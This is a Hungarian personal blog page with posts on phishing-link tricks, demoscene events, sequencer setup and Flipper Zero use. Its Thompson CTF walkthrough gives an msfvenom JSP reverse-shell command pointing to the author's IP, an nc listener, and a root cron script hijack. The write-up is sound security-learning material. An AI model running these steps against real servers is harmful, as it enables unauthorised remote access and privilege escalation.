HTML

Az élet kódjai

Csináld maga. Senki nem csinálja meg helyetted.

Friss topikok

  • Travis.CG: Annyiban én is hibás vagyok, hogy könnyen előjönnek belőlem negatív posztok, ezt akartam ellensúly... (2025.05.22. 19:34) Ne csak a rosszat halljátok
  • sdani: Oh... néha eszembe jut, hogy az EBI után esetleg vissza kellene menni valamennyire az akadémiai vo... (2025.03.18. 16:58) Pontos, jól behatárolt célok
  • legyen úgy: Szia, Értem és köszönöm a válaszodat! T. (2025.02.24. 18:23) Expose CTF
  • sdani: Sajnos nekem is hasonló érzéseim vannak az R kiszorulásával kapcsolatban. Remélem jobban fogja tar... (2024.04.29. 10:48) R meetup
  • sdani: Nagyon jók ezek a bejegyzések! Feszültséggel teli, fordulatos, mint egy jobb krimi. :D Abba ne hag... (2024.04.29. 10:35) Wgel CTF

Adathalász link rejtése

2025.06.29. 15:42 Travis.CG

Kaptam egy újabb béna levelet, amit az UPS nevében küldtek, hogy csomagom van. A megszólítás az email címem volt, a kinézete még csak nem is hasonlított az UPS-re, és döglött linkek voltak benne. Majdnem letöröltem, de ekkor észrevettem benne valamit. Az adathalász link ugyanis valami érdekességet takart.

upsspam.png

Spamaket küldeni azért nem olyan egyszerű (az egyetemünkre valószínűleg az, de ez egy más kérdés). Ugyanis az egyetem (vagy a megcélzott intézmény) igyekszik kiszűrni a nem odavaló leveleket. Ha a link közvetlenül az adatlopó szerverre mutat, akkor ha az kompromittálódik, új szervert kell szerezni, ami munkaigényes az olyan scriptkiddie-knek, akik még a CSS-t is sajnálják rendesen beállítani. Ezért egy proxit használnak, ami nem baj, ha tiltó lilstára kerül.

Erre általában egy olyan legális szervert használnak, ahol a weboldal rosszul van beállítva és megjelenít külső hivatkozásokat. Ezek a rosszul beállított szerverek általában használaton kívül vannak, ezért az egyetem csak felveszi őket a tiltólistára, és máris szűrik a nem megfelelő leveleket. A támadó meg keres egy másik proxit, és a játék kezdődik előről.

A mostani spam annyiban volt különleges, hogy a Google ADS-ot használta proxinak. A Google-t mégsem lehet kitiltani, nem igaz? A módszer hátránya, hogy azért a szerver címe ott figyel a Google link végén.

Közben a nemlétező Spotify előfizetésem is veszélybe került egy másik spam szerint. Itt a TinyUrl linkrövidítő szolgáltatást használták. Ez azért egy fokkal jobb, mert itt már nem látszik a szerverünk. Nem láttam ugyan link jelentő oldalt, de elképzelhető, hogy lehet szólni a cégnek, hogy tiltsa le az adathalász linkeket.

Szólj hozzá!

Címkék: biztonság

Élet a MoonShine berkeiben (3. rész)

2025.06.14. 10:23 Travis.CG

Valami mozgolódás támadt a Discord csatornán. KazMan és Filippp elhatározták, hogy musicdisket készítenek, és szükségük volt egy kóderre. Gondoltam itt az alkalom, hogy tovább erősítsük a csoporton belüli projekteket, ahol eddig főleg magányos projektek voltak. Azért nem lovalom bele magam nagyon, mert könnyen lehet, hogy a nagy kezdeti fellángolás kipukkad és merő érdektelenségbe fullad a projekt.

Tervezés

A musicdisknek Windowson kell futnia. A zenék trackek lesznek, ezért a lejátszásukhoz libopenmpt-t fogok használni. A megjelenítésért és az ablakok kezeléséért SDL2 fog felelni. (Hátha lesz egy Linux port később...) Animációkat, 3D-t nem terveztek, de persze ez még változhat. A beszélgetésekből úgy tűnik nekem, még nincs kiforrott koncepció. Megpróbálom minél modulárisabbra csinálni, hogy a kód fordítása nélkül lehessen módosítani.

Inspirációként átnéztem néhány musicdisket az utóbbi időből, de nem tetszenek az ott látott megoldások. Amiket láttam, abba Lua-ban készítik el a keretrendszert, shell szkriptból futtatják. Igaz, az eredmény cross-platform, de hanyag érzetet kelt.

Azt sem akarom, hogy szana-szét legyenek a fájlok, ahogy a Marine Melodies-ben. Egy zip-be kellene összecsomagolni mindent. (Amit átnevezek majd pak-ra megtévesztésként.) Így is lesz egy rakás DLL, ami ott virít az exe mellett. Az SDL-nek így is kell a vorbis, zlib, mpg123, meg még ki tudja micsoda.

Grafika

Ez a másik ok, amiért konfigurációs fájlok kellenek, ugyanis még nincs egyetlen grafikai elem sem. Van a Discordon egy ember, aki állítólag a grafikáért felel, de még egyszer sem válaszolt egyetlen kérdésre sem. Fontot viszont már kaptam, szöveget már tudok elhelyezni.

Zene

Mikor elkezdtem írni a posztot, még csak egy zene volt, de mire a végére értem, már négy. Nagyon termelékenyek ezek a zenészek.

Implementáció

Az első lépés, hogy a szükséges függőségeket felrakjuk. Ez már elég fájdalommentes a vcpkg-nek hála, tehát ezt kell először telepíteni. Utána már az IDE is felismeri az include alapján, milyen csomagot kell letölteni, és még a projektet is konfigurálja. Azért -disableMetrics opciót érdemes használni, mert nem akarom, hogy a felhasználói élményemet javítsák, jó az úgy, ahogy van.

A csomagkezelő a libopenmpt-t is tartalmazza, tehát azzal sem kell külön szenvedni. A libopenmpt egy hardverfüggetlen implementáció, ami azt jelenti, hogy a modulokat nem játsza le, csak dekódolja egy 48KHz-es PCM adatcsomagba, amivel utána az ember azt csinál, amit akar.

Összeraktam egy kezdetleges formát, hogy ismerkedjem az API-val. Gond nélkül lefordul, hiba nélkül lefut, de nem hallani semmit. Én már annak is örülök, hogy nem fagy le és nem rántja magával az egész operációs rendszert. Nem hallatszik a zene? Részletkérdés :-)

Szólj hozzá!

Címkék: programozás demoscene

Thompson CTF

2025.06.01. 15:57 Travis.CG

A CTF indító oldala mellett a Tomcat logót lehet látni, amiből sejtheti az ember, hogy miféle feladatot kell megoldani. Az első lépés az nmap, ami meg is erősíti a feltevésünket.

thompson1.png

Rövid keresgélés után a 8.5.5-ös Tomcathez találhatunk egy rakás sebezhetőséget. A legtöbb valamilyen hibás konfogurációt használ ki. Az egyik a CVE-2017-12617, amihez egy szkript is van az exploitDB-ben. Sajnos nem működik. A másik hiba a Jserv protokolt használja ki. (admin/http/tomcat_ghostcat) Ez működik, de tudni kell, hogy milyen fájlt akarunk megnézni. Az egyetlen fájl, aminek meg tudom jeleníteni a tartalmát a web.xml, de ebben semmi érdekes információ nincs. Mivel a Tomcat a tomcat-users.xml-ben tárolja a felhasználónév/jelszó párosokat, ezért megnéztem meg tudom-e nyitni, de ezzel sem értem el sikert. Van egy másik modul Metasploit-ban, ami az alapértelmezett jelszavakat próbálgatja (scanner/http/tomcat_mgr_login). Végigfutott, de eredmény nélkül.

Kínomban már kézzel is írtam be felhasználónév és jelszó párosokat, hátha szerencsém lesz, de nem volt. Sajnos nem voltam elég alapos, így csak sokadjára tűnt fel, hogy a hibás bejelentkezés után van egy elejtett infó. Kipróbálva az ott látható felhasználónevet és jelszót, be tudunk lépni a management felületre. Ismét csak bebizonyosodik, a CTF-eknél minden információ fontos. Még az is, amire legyintünk.

A felületen fel tudunk tölteni WAR modulokat. Készítsünk egy reverz shellt az msfvenommal:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.23.71.181 LPORT=9001 -f war -o pen.war

Aki nem tudná, az msfvenom egy malware készító csomag, amivel játszi könnyedséggel lehet bármilyen reverz shellt készíteni. Az LHOST-al adom meg, hogy hova próbáljon meg csatlakozni, az LPORT-al pedig értelemszerűen a portot adom meg.

Először előkészítjük a terepet egy nc-vel a gépünkön:

nc -lvnp 9001

Utána feltöltjük a pen.war-t és ráklikkelünk. Egy idő után létrejön a kapcsolat. Az első flag a /home/jack könyvtárban van. A flag mellett találunk egy id.sh szkriptet is, ami szerencsére írható. Az /etc/crontab szerint a root ezt rendszeresen futtatja is. Az id.sh-ba létrehozhatunk egy újabb reverz shell-t, de én csak beírtam egy cat /root/* >ize-t. A root flag az ize fájlban lesz.

Szólj hozzá!

Címkék: biztonság

BSides 2025

2025.05.25. 18:12 Travis.CG

Idén is elmentem a budapesti BSides-ra, sőt a tavalyi Hacktivity fiaskó után már laptopot is vittem. A kiállítók száma erősen visszaesett, már csak a legkeményebbek képviseltették magukat. Ketten. Az előadások viszont ígéretesnek tűntek, ezért rögtön be is ültem rájuk.

Az első előadásban, amit meghallgattam, a bug bounty programok tapasztalatait osztotta meg az előadó. Négy általa bemutatott hibát prezentált. Annyit szűrtem le, hogy a hiba megtalálásához szükséges tudás nincs összhangban a kapott pénzdíjjal. Bemutatott egy hihetetlenül bonyolult módszert, amihez négy különböző sérülékenységet kellett kihasználni, vért izzadt, mire meglett a hiba, és a végén a cég nem is akart fizetni neki. (De azért meggyőzte őket, hogy komoly a probléma, mire adtak neki 500 dolcsit). Egy másik esetben pedig talált egy konfigurációs hibát, amivel ki tudta listázni az összes felhasználót, azért meg 13 ezret kaszált.

A második meghallgatott előadás a házi laborok fontosságáról szólt. Az előadó bemutatta saját otthoni káoszát, ami olcsó Raspberry Pi-okból, régi routerekből és elavult laptopokból állt. Azt mondta, a teljesítmény nem fontos, ha az ember új technológiákat akar megtanulni. Az előadás nagyon inspiráló volt, sok technikai részletre nem tért ki, inkább a lehetőségeket mutatta be saját példákon keresztül.

Az előadások után bementem a HACK Centerbe, ahol szokás szerint zárakat próbáltak kinyitni emberek. Én inkább a CTF-ek iránt érdeklődtem, mert idén először azok is voltak. Az első körben egy 4chan típusú fórumon kellett keresni a flageket. A fórumra weboldalát viszont nem tudtam megnyitni a laptopommal. Az egyik szervező szerint a hálózat a hibás, de a telefonnal meg tudtam nézni az oldalt, ugyan arról a wifiről. Amikor curl-el próbáltam meg letölteni a tartalmat, 451-es hibát kaptam. Életemben nem hallottam még ilyen hibáról, és mint a Wikipédiáról megtudtam, törvénysértő tartalmak esetén kapunk ilyen kódot. Az viszont továbbra is rejtély számomra, hogy miért működött telefonról, illetve miért működött másoknak. Otthon is kipróbáltam, és egy flaget sikerült megtalálnom.

Egy másik feladatban Minecraft térképet kellett megfeleltetni valós földrajzi pozíciónak. Linuxon nem tudom, hogyan lehet ezt a fajta fájlt megjeleníteni, úgyhogy fél óra eredménytelen Google keresés után hanyagoltam.

A webes feladatok között volt egy captcha kijátszás is, azt sikerült megcsinálnom. A captcha egy matematikai művelet volt, amit CSS-el megbolondítottak, hogy furcsán nézzen ki. Ha viszont valaki csak a HTML-t parse-olta, akkor könnyen ki tudta nyerni a művelet elemeit. Ezután már csak ki kellett számítani az értéket. Száz captcha után megkaptam a flaget.

Két feladathoz BME-s VPN-t kellett volna használni, ezért azokat is inkább kihagytam. Egy másik esetben egy tűzfalon kellett volna átmenni. Ezzel sokat próbálkoztam, de nem jártam sikerrel. Volt még egy online tesztrendszer törés. Itt valószínűleg XSS-t kellett volna használni, de abban nagyon rossz vagyok, úgyhogy hosszas próbálkozások után ez sem sikerült.

Volt három reverse engineering feladat is. Ezek is elég nehezek voltak (legalábbis nekem), nem is sikerült egyik sem.

Az oldalon volt táblázat, hogy hány embernek sikerültek a különböző feladatok. Meglepett, hogy milyen kevesen próbálkoztak. Azt gondoltam, többen fognak játszani.

Délután egy kerekasztal beszélgetésben vettem részt, ami a kiírás szerint azt igyekezett bemutatni, hogyan ne legyünk hekkerek. A témához nem kerültünk túl közel, mert ez egy kísérleti program volt, a beszélgetés vezetője inkább arra volt kíváncsi, hogyan bonyolítson le egy ilyen beszélgetést, a hallgatók meg inkább válaszokat szerettek volna. Mindegy, valahol ezt is el kell kezdeni. Talán a következő konferenciára jobban összeszedik magukat.

Összességében nem volt rossz, örültem, hogy ott lehettem.

Szólj hozzá!

Címkék: biztonság

Cseppet sem objektíven: Revision 2025

2025.05.18. 20:11 Travis.CG

Idén elméletileg a családi tanács engedélyezte volna a kiutazást, de végül nem éltem a lehetőséggel. Később bebizonyosodott, hogy nem volt rossz ötlet a szófa scenerkedés, de azért végre elkészült egy release is, amit sikerült feltölteni a Revision szerverére. Az ünnepi kavalkád miatt nem tudtam követni az összes eseményt, de utólag bepótoltam mindent, ami hosszabb időt vett igénybe.

3D grafika

A kompó kezd érettebb lenni. Míg kezdetben csak némi 3D bohóckodás jellemezte a releaseket, most úgy érzem kezdenek komolyabb alkotások is megjelenni, melyek tényleg kihasználják a 3D lehetőségeit. Az "And The Legend Continues" például kis easter egg-et is tartalmaz (Húsvétkor úgyis aktuális), ami csak bizonyos térbeli forgatásnál látszik. KD "Unexplored Future" alkotását nézve nekem rögtön beugrott egy DeLorean témájú jelenet tavalyról. És tényleg, a mindkettőt KD készítette. Az én kedvencem RacconViolet mókusos grafikája volt, aminek poénját csak retro számítógépesek tudnak igazán értékelni.

Fotó

Közhelynek számít, hogy a telefonok kamerája egyre jobb, de eddig azt láttam, hogy a scenerek nagy része továbbra is előnybe részesítette a kamerákat. Idén a telefonokkal készült képek száma mintha megnőtt volna, ami érdekes módon nem ment a minőség rovására. A másik véglet pedig visszatérés a filmes gépekhez. Ezek főleg egymásra rétegezett képek voltak. Számomra a legjobb alkotás a Crab in space volt.

ANSI/ASCII/PETSCII

Az idei karakteres grafikák nem voltak olyan jók. Túl egyszerűek voltak az én ízlésemnek.

Animált GIF

A loopolt hangtalan minivideók egy érdekes kategória, mert rengeteg erőforrást el lehet pazarolni az elkészítésükre, miközben az eredmény egy pici GIF. Nézzük például a Bag Work-öt, ami egy komplett karakter animáció, fizikai szimuláció, stb. A leírás szerint Maya-val renderelték, valószínűleg jó sok erőforrással. Ellenpontnak meg ott van a "Let's Go and Get a Snack Before the Next Compo Block", ami Deluxe-paint-el készült (ez egy 30 éves program). Az én kedvencem a City Limits, ami valahol a kettő között helyezkedik el. Ami miatt ez lett a kedvenc, az a keretet elhagyó űrhajó.

Modern grafika

Ha lenne egy olyan 3D grafikus a csapatban, mint Darkki, akkor nem kérnék mást Karácsonyra az elkövetkező 5 évben. (Max azt, hogy tudjak egy olyan engine-t írni, ami képes támogatni a modelljeit) Ezt bizonyítja a Lepidopterist című képével is.

4k executable grafika

Kevés, de jó minőségű nevezés volt a futtatható grafikák között. Kedvencem a Quattro volt, mert "Inertia drift!".

Videók

Természetesen a mién volt a legjobb. Na jó, nem. Ötödikek lettünk, de akik megelőztek, azok mind jobbak voltak, ezt el kell ismerni. Bevallom, az dühített volna, ha Nosfe zajdemója jobb helyezést ért volna el. Az első helyezett egy nagyon kreatív invitáció lett a NoGapNoBacteria-tól. A videó invitációk legtöbbje nagyon sablonos, többnyire megelégszenek néhány bevágott fényképpel vagy videóval a korábbi partikról, majd a végén szövegben odalökik a részleteket. Itt viszont nagyon kitettek magukért a készítők. A poénok legtöbbje bennfentes, de mégis csak egy invitációról beszélünk. Scenerek a célközönség.

Játékok

A scenerek megpróbáltak egyéni játékokat készíteni, de valahogy mindegyik egy ismert játék újragondolása volt. A Noisy Rabbit egy pac-man klón volt, csak nyulat kellett irányítani. A Fartageddon egy Wolfenstein klón volt, csak a nácik helyett öregasszonyokat kellett egy hascsikarásos kutyával leszellenteni. Az Axteroids...biztos kitaláltátok minek a klónja. A KaButt semminek nem volt a klónja. A forgó kockát nézve ki kellett találni, hogy milyen videomódba állították a Nintendot. Tegye fel a kezét, aki játszani akar vele.

Tracked music

Egy csapattárs is indult ezen a kompón: Filippp. Szegény utolsó lett. Személyes kedvencem a Retroing all Down Jessusitotól. Tavaly kezdte karrierjét, úgy tűnik ez az első külföldi szereplése. A másik nagy kedvencem E1M777 volt Master Boot Record és Dubmood trackeréből. A zene nagyon gyorsnak és sűrűnek hangzott. Nem is csoda, 39 hangszer és negyvennél is több mintát használtak fel, ami a kompón belül akár rekordnak is beillik.

Oldsckool music

Filippp itt már nem lett utolsó, de a középmezőnyig sem jutott. Azért egy ZX Spektrum soha nem lesz ellenfele egy Amigának vagy Atarinak. FLT-nek soha nem fogom megbocsátani ezt, de azt el kell ismernem, hogy nagyon jó zenét hozott idén Revision-re. A Neon Slipstream kicsit monoton volt, de azért elég kellemes zene. A Crystal Oscillator viszont mindenkit maga mögé utasított. Ebben azért az Otamata Lab-nak nagy segítségére volt egy OPL3 chip is, ami nagyon másként szól, mint a többi retro hardver.

Executable music

Ki indult még ebben a kategóriában? Igen, Filippp. Ha ennyire termékeny a srác, lehet, hogy vele kéne kooperálni?  Nem volt rossz, amit készített, de egy kicsit repetitívnek éreztem. Kedvencem Xtriumtól az Echoes volt, bár csak a negyedik helyet érte el.

Amiga intró

Elég kevés intró volt, legtöbbjük nem túl izmos, így a Dekadence invitációja torony magasan verte a mezőnyt.

Amiga demó

A Tűzgésa sokkal több volt, mint emlékirat. A Nah-Kolor demója azért tetszett, mert az Amiga demók hajlamosak pasztel színekben tündökölni, itt pedig gyönyörű élénk színek voltak. Az Entropy Chamber bár nem tűnik nagyon érdekesnek, ügyesen imitálja a sugárkövetést. Legalábbis azt gondolom, hogy imitálja. Elvégre valódi sugárkövetés az lehetetlen. Ugye, lehetetlen? Ami viszont a legjobban tetszett, és ami a pálmát el is vitte, az a Lupus Reditus volt. Szuper farkasemberes demó, remek kóddal, összeszedett grafikával, egységes stílussal. Engem magával ragadott.

Oldskool demo

Két magyar induló is volt, Kaszi a ZX Spectrum fenegyerek egy könnyed demóval, míg a Lethargy csapat David Lynch-ről emlékezett meg. Nekem személy szerint a 3DManiaks2 tetszett, bár egy kicsit hirtelen lett vége. A leghangulatosabb viszont a The Trip volt a Fairlight-tól. A legtöbb demoscene utalást valószínűleg nem értettem, arról valószínűleg beszélgetnem kellene másokkal. De ilyen egy jó demó, nem? Van utóélete.

PC 64k

Nos, a Tension mindent elhomályosított maga körül. Ez a 64k a demók között is megállta volna a helyét. Ilyen kidolgozott modelleket, textúrákat nem sűrűn látni ebben a kategóriában. Tényleg szóhoz sem jutottam. Maga a rendezés számomra kicsit kusza volt. Nem világos, hogy ki kit üldözött és miért, de talán nem is fontos. A techdemók szerelmeseinek kötelező darab.

PC 8k

Archee Pac-Quack intrójában négy kacsa hihetetlen hatékonysággal nyelte a nokedlit golyókat. Másik hazai vonatkozású intró a Circle volt. A kódot Tifeco, a zene egyik felét pedig Teo adta. Mindenféle forgó bigyó volt benne, amik egyre gyorsabban forogtak. Az én kedvencem a birka és a motoros konfrontációja volt a Ctr-Alt-Test tálalásában. A másik pedig a Farbrausch Júlia fraktáljai.

PC 4k

A HBC nem sok intrót készített, ezelőtt 5 évvel adtak ki 4k-t. Most viszont láthattuk tőlük egy szép folyadékszimulációt. Nagyon kellemes, még kívülállóknak is bátran lehet ajánlani. Aki imádja a fraktálokat és az alliterációkat, annak a Dipping Deep Dub Drop kötelező darab, mert megkapja mindkettőt. Bár maga a kód nem volt bonyolult, ötletes volt az átmenet az egyes vizuális stílusok között. A Hexer egy rémisztő intró, ami bátran merít a Körből és az internetes creepypasta témákból. Intró kategóriában érdekes témaválasztás. Személyes kedvencem a Chromatophores volt a Loonies-tól. Technikailag rendben volt, nagyon szépen néztek ki a tekergő izék.

PC Demó

Végül lássuk a király kategóriát. A Still demója 200MB volt, elsőre nem indult, mert kellett neki a .Net 9, utána elindult. Az eleje nagyon jó volt, már vártam, hogy beindul, erre vége lett. Egy régi vicc jutott eszembe, amikor a kuncsaft fut az örömlány után azt kiáltva: még nem végeztél. Na, mindegy. Az ASD annyira művész lett, de olyan művész, hogy levetette minden demoscene kvalitását. De a hangyák annyira élethűek voltak. Éjjel néztem a demót, és komolyan azt hittem, mászik egy a monitoromon. A Melodice egészen jó volt. Dobókockák voltak benne, nagyon sokan. Remekül megmutatta, hogy ha csak egy modelled van, és jól használod ki, élvezetes demót is lehet készíteni. Ha viszont nagyon jó modelleket készítesz, akkor olyan demókat is alkothatsz, mint a This is Us. Az Exist már két éve is feltűnt alaposan kidolgozott modelljeivel és textúráival. Akkor azért kritizálták őket, mert a demó vége felé már kicsit sietősebbre vették a figurát, ami az assetek kidolgozottságán meg is látszott. Itt nem követték el ugyan azt a hibát. Ha van olyan, hogy kóder pornó, akkor ez az asset pornó. A Quantum Space One-t az AI zene miatt kritizálták, de szerintem teljesen rendben volt. Nagyon szép geometrikus mintázatokat mutatott. Személyes kedvencem MFX-től a Breach volt. Már korábban is láttunk részecskerendszert az MFX-től, de nem érződött, hogy ez a demó a korábbi kódok újrahasznosítása lenne.

Szólj hozzá!

Címkék: demoscene

A MiSeq 100i lelki világa

2025.05.15. 12:53 Travis.CG

Az egyik kutatócsoport vett egy MiSeq 100i-t, mert kevesebb leolvasási hibával, gyorsabb futási idővel rendelkezik, mint a hasonló teljesítményű korábbi modellek. Ez a készülék egyértelműen mutatja, hogy az Illumina is elindult az Apple irányba, nevezetesen minél kevesebb beleszólást enged a gép működésébe, redukálják az elérhető beállítási lehetőségeket és amint látni fogjátok sokkal nagyobb terhet ró a supportra.

A készülék futurisztikus külsővel rendelkezik. Míg a korábbi MiSeq modellek úgy néztek ki, mint egy laboreszköz, ez inkább egy otthoni szórakoztatóelektronikai műtárgyra hasonlít. Bekapcsolni a hátulján lévő billenő kapcsolóval lehet, de ettől nem fog elindulni! Van elöl, az alsó peremén egy másik bekapcsoló gomb (amit persze szemből nem lehet látni), ami ha világítani kezd, azt is meg kell nyomni. Ekkor indul el. A megoldás engem a csuklós buszok titkos kapcsolójára emlékeztet, ami segítségével a sofőr felszállhat.

Bekapcsolás után jó sokára elindul. A felhő integrálás teljes, tehát a készülék nem menti a szekvenálási eredményeket, hanem egyből a BaseSpace-re tölti fel. Ami természetesen fizetős, mert 2025-ben már nem menő, hogy egy cég ne kérjen folyamatosan pénzt egy termékért, ezért folyamatosan olyan szolgáltatásokat integrálnak a gépekbe, amivel rendszeres fizetésre kényszeríthetik a vásárlót. Magyar akadémiai viszonyok között ez természtesen elfogadhatatlan, még olyan jól menő csoportoknál is, akik megengedhetik, hogy ilyen szekvenálókat vásároljanak (és fenntartsanak), ezért nekem kellett volna beállítani, hogy a labor szerverére mentse az adatokat.

A csoport tulajdonában van egy NextSeq 2000-es is, ahol már beállítottam ezt a lehetőséget, ezért arra gondoltam, itt sem lesz gond. A vezérlő programban van egy opció, ahol be lehet írni a távoli szerver IP címét, kiválaszthatjuk, hogy NFS vagy Samba legyen a protokoll, és kérünk-e titkosítást. SMB esetén jelszó és felhasználó név beállítás is van.

Először NFS-t akartam használni. A szerveren engedélyeztem a szekvenáló IP címét, ahogy a NextSeq 2000-essel is csináltam, majd megpróbáltam kapcsolódni. Annyit írt a szekvenáló, hogy hiba. Volt egy View Details is, ami annyit írt Invalid DTO. Ennél semmitmondóbb hibaüzenetet akarva sem lehet kitalálni.

Oké, nézzük az SMB-t, bár amióta CTF-eket csinálok, nem szeretem ezt a protokollt, de a SeqPilot miatt sajnos elkerülhetetlen, hogy a szerveren fusson Samba. Már nem emlékeztem a jelszóra, amit beállítottam, ezért az ott dolgozóktól kértem el. Ezzel sem tudtam kapcsolódni, jóllehet a hibaüzenet megváltozott invalid credential-re.

Nem részletezem, de ezután ugyan azokat a köröket rottam a beállításokkal, eredmény nélkül. Random váltogattuk az opciókat, hátha szerencsénk lesz, de nem volt. Mivel a NextSeq 2000-es egy Linuxot futtat, és ki lehet menni a konzolba, elhatároztam, hogy itt is kimegyek, hogy megnézzem, egyáltalán a hálózati beállítások jók-e. Találok-e olyan logokat, amelyek a semmitmondó hibaüzenet helyett a hiba valódi okára derítenek fényt.

Először is, a vezérlő alkalmazást nem lehet megkerülni. Nincs minimalizálás, ha kilépünk belőle, leáll a szekvenáló. Egy OS Terminál menüpont tűnt ígéretesek, de mikor el akartam indítani, egy kódot kért, amit csak a support tud megadni, és most jön a csavar: a megadott kód csak 24 óráig érvényes!

Felhívtuk a magyar supportot, akik azt mondták, hogy ők sem ismerik ezt a kódot, kell szólniuk az Illuminának. Az Illumina elküldte a kódot nekik, de utána elkezdtek kekeckedni velünk, hogy minek az nekünk? Elmondtuk, hogy mit szeretnénk, ők meg megmondták azokat a lépéseket, amelyeket mi már rég kipróbáltunk.

Elmeséltük, hogy ezen a részén már túlvagyunk, nekünk kell az a rohadt terminál, adják már meg a kódot. A support még értetlenkedett egy sort, meg megnéztek még egy YouTube videót, hogyan kell beüzemelni (mi meg közben a telefon másik végén vártunk), meg megpróbálták bemesélni nekünk, hogy biztos azért nem megy, mert nem az admin felhasználóval próbálkozunk. (Pedig azzal voltunk bejelentkezve, mert olvasni még tudunk.)

Végül beleegyeztek, hogy megadják a kódot. Csakhogy a terminált nem úgy kell indítani, hogy ráklikkelünk egy menüpontra. Nem, nem. Az túl egyszerű lenne. Megpróbálom visszaidézni a lépéseket, de bocsásson meg mindenki, ha bizonyos lépéseket kifelejtek.

Először is, van egy titkos felhasználó, a nsi:vpronin, vagy valami hasonló. Utána kell a jelszó vp: és egy napi jelszó. Ezt kb. 5-ször írtuk be, mire kiderült, hogy nem kell a 'vp:', csak a napi jelszó. A support még kötötte az ebet a karóhoz, hogy "de kell a vp:". Utána képesek voltunk elérni a Linux grafikus felületet, de csak egyetlen ikon volt elérhető. Ha arra ráklikkeltünk, feljött egy terminál program, ahol 0-2 között kellett kiválasztani egy számot, attól függően, hogy mit akartunk. A terminálhoz a 2 kellett, majd mégegyszer be kellett írni a napi jelszót! De a support figyelmeztetett, hogy ha 10-nél többször írjuk be hibásan a jelszót, az egész szekvenáló lezár.

Kb. három próbálkozás után leálltunk, mert nem fogadta el a napi jelszót. Sem kettősponttal, sem anélkül, se magyar, se angol billentyűzetkiosztást feltételezve.

Nekem el kellett mennem, de a supporttól kijött valaki, és még két órán keresztül próbálkozott a beállításokkal, sikertelenül. Megbeszéltük, hogy holnap eljön mindenki, és újból megpróbáljuk.

Közben este ellenőriztem, hogy minden rendben van-e az SMB-vel, így derült ki számomra, hogy rossz jelszóval próbálkoztunk. A helyes jelszó megadása után még VPN-ről is tudtam csatlakozni. Másnap, a support érkezése előtt kipróbáltuk az SMB-t, de immár a helyes jelszóval. Továbbra sem ment.

Megérkezett a support is, egy órát vezetett, hogy itt lehessen. Újraindította a szekvenálót, beírt mindent ugyan úgy, mint mi, és akkor működött. De csak az SMB, az NFS akkor sem.

- Majd a következő verzióban javítani fogják, hogy ne ragadjanak be beállítások. Két Linux van benne, és néha rosszul szinkronizálják a beállításokat.

Kösz. Köszönöm Illumina, hogy lehetetlenné teszed, hogy beállítsam a szekvenálót. Köszönöm a semmit mondó hibaüzeneteket. Köszönöm, hogy időt és energiát fecséreltél egy olyan vezérlőprogram kifejlesztésére, ami annyira biztonságos, hogy már használhatatlan. Köszönöm a hiányos doksikat és marketing szagú brossúrákat, amik tíz oldalon keresztül tárgyalják a nagy semmit.

Ha tehetek egy fejlesztésre vonatkozó javaslatot, akkor tegyetek a szekvenálóba egy nagy nyelvi modellt, hogy ne csak a supporttal, de magával a készülékkel is lehessen vitatkozni. Már csak ez hiányzik az életemből.

Szólj hozzá!

Címkék: rendszergazda

Hármas szintű delfin

2025.05.11. 21:44 Travis.CG

A Flipper Zero hivatalos firmware-jeben van egy kis tapasztalati rendszer. Minél többet használjuk a különböző funkciókat, ez a tapasztalati pont növekszik. Ha eléri a hármas szintet, akkor az animációk is megváltoznak. Az egyiken például a delfin a gondolataival elpusztítja a Földet fenyegető űrhajókat.

Mire használtam eddig? Oktatásnál az összes terem projektorát tudom vezérelni. Az irodák beléptető kártyáit is tárolom. A bluetooth billentyűzet funkcióval nem kell az előadásoknál és a gyakorlatoknál a gép mellett ácsorogni, akkor is tudom görgetni a diákat. Ezeket heti szinten használom.

Az egyik teremben viszont csak asztali gép van, bluetooth nélkül (ráadásul a terem végében). Kipróbáltam, milyen lenne, ha a Flipper Zero-t rákötöm, mint billentyűzetet, és a mobiltelefonnal vezérelném. Bár a távolság kb. 15 méter volt, néha több diát is átugrott. Nem volt sikeres a kísérlet.

Ha GTA-val játszom, és hirtelen ott kell hagyni a játékot, akkor 15 perc inaktivitás után kidob. Ezt a Mouse Jigger funkcióval lehet kicselezni. A Flipper úgy csinál, mintha a mozgatnám az egeret. Mások a kontrollert szokták összegumizni, de az én megoldásom elegánsabb.

Kezdetben csak egy monolitikus kernel volt, ha uj funkciokat akartunk, akkor az egész firmware-t frissíteni kellett. Most már egyre több funkciót vezetnek ki appokba.

Appokat fejleszteni C-ből lehet. Az API elég logikus. Egyetlen gond, hogy néha a firmware frissítés után megváltozik az API verziószáma, ami miatt a korábban fordított programok nem mennek. Szerencsére már szkriptelni is lehet, így nem kell folyamatosan fordítani a kódokat. Eddit mikroPython és JavaScript értelmező van hozzá. Jelenleg a JavaScript több dologra használható, de a microPython sem rossz.

A rádióvevőt csak családlátogatásnál használom, mert ott van távirányítós a kapu. Ez érdekesen működött, mert volt olyan, hogy egy firmware frissítés után a kaput nem tudtam kinyitni, újra kellett tanítani a készüléket.

A GPIO portokat eddig csak egyszer használtam, de vannak még ötleteim. Egyszer próbáltam UART hídnak használni, de rossz portot találhattam, mert nem tudtam kapcsolódni. Aki akar, bevásárolhat számtalan kiegészítőt is. Én egy VideoGame modullal bővítettem, főleg a HDMI kimenet miatt, de ebben a modulban még sok kiaknázatlan potenciál van. (Különösen, hogy Flipper nélkül is működik)

Nem csak a firmware, de a webes támogatás is fejlődött. Ma már közvetlenül a telefonról lehet appokat telepíteni a Flipperre, sőt a frissítések is azon keresztül érkeznek. Aki mégis okostelefon nélkül használná, annak a van webes megoldás is.

Egyre-másra jelennek meg a klónok és Flipper-gyilkos eszközök. A kügyü-mániások örülhetnek, hogy a cégek versenyeznek a kegyeikért. Mindegyik visz is egy kis újítást az eredeti receptbe, de egyiket sem látom annyival jobbnak, hogy érdemes legyen lecserélni a delfint.

Szólj hozzá!

Címkék: flipperzero

Tanulás a hibákból

2025.04.27. 16:59 Travis.CG

Nagy nehezen kihevertük az adatvesztést. Végre van biztonsági mentés megint. Azt hitttem, most már kezdünk egyenesbe jönni. Hát nem.

Megkerestek, hogy megint le kellene tölteni egy csomó adatot, és úgy látját, hogy a backup könyvtárban mennyi hely van! Oda szeretnének menteni, de nincs írási joguk. Persze, hogy nem tudnak írni, mert akkor az nem backup lenne, hanem szeméttároló.

